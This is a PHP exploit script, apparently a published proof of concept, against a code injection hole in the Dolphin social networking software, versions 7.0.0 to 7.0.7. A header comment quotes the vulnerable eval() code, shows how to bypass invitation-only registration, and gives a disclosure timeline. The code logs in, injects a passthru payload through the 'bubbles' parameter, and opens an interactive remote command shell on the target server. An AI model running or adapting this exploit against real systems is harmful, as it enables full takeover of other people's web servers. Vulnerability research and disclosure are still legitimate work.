1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136 | <?php
/*
----------------------------------------------------------------------------
Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
----------------------------------------------------------------------------
author...............: EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://www.boonex.com/dolphin
affected versions....: from 7.0.0 to 7.0.7
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] vulnerable code in /member_menu_queries.php
61. case 'get_bubbles_values' :
62. $sBubbles = ( isset($_GET['bubbles']) ) ? $_GET['bubbles'] : null;
63. if ( $sBubbles && $iMemberId ) {
64.
65. $aMemberInfo = getProfileInfo($iMemberId);
66. if($aMemberInfo['UserStatus'] != 'offline') {
67. // update the date of last navigate;
68. update_date_lastnav($iMemberId);
69. }
70.
71. $aBubbles = array();
72. $aBubblesItems = explode(',', $sBubbles);
73.
74. if ( $aBubblesItems && is_array($aBubblesItems) ) {
75. $bClearCache = false;
76. foreach( $aBubblesItems as $sValue)
77. {
78. $aItem = explode(':', $sValue);
79.
80. $sBubbleCode = null;
81. foreach($aMenuStructure as $sKey => $aItems)
82. {
83. foreach($aItems as $iKey => $aSubItems)
84. {
85. if( $aSubItems['Name'] == $aItem[0]) {
86. $sBubbleCode = $aSubItems['Bubble'];
87. break;
88. }
89. }
90.
91. if ($sBubbleCode) {
92. break;
93. }
94. }
95.
96. if ($sBubbleCode) {
97. $sCode = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
98. $sCode = str_replace('{ID}', $iMemberId, $sCode);
99.
100. eval($sCode);
When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
Successful exploitation of this vulnerability requires authentication, but is always possible to create a
new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
[-] Disclosure timeline:
[25/09/2011] - Vulnerability discovered
[26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm
[26/09/2011] - A moderator hide the topic
[29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact
[04/10/2011] - Vendor replied that there is a designated place for this kind of report: "Dolphin Bug Reports" forum
[04/10/2011] - I replied that I've already posted in this forum, but the topic has been hidden
[05/10/2011] - Vendor reply: "It may has been hidden because it WASN'T posted in the proper place"
[05/10/2011] - My reply: "It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact"
[08/10/2011] - Vendor replied that a patch will be released as soon as possible
[13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1
[18/10/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+------------------------------------------------------------+";
print "\n| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / user pass";
print "\nExample....: php $argv[0] localhost /dolphin/ user pass\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "ID={$argv[3]}&Password={$argv[4]}";
$packet = "POST {$path}member.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) die("\n[-] Login failed!\n");
$phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])";
$packet = "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\ndolphin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/\r\n\r\n(.*)\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
|
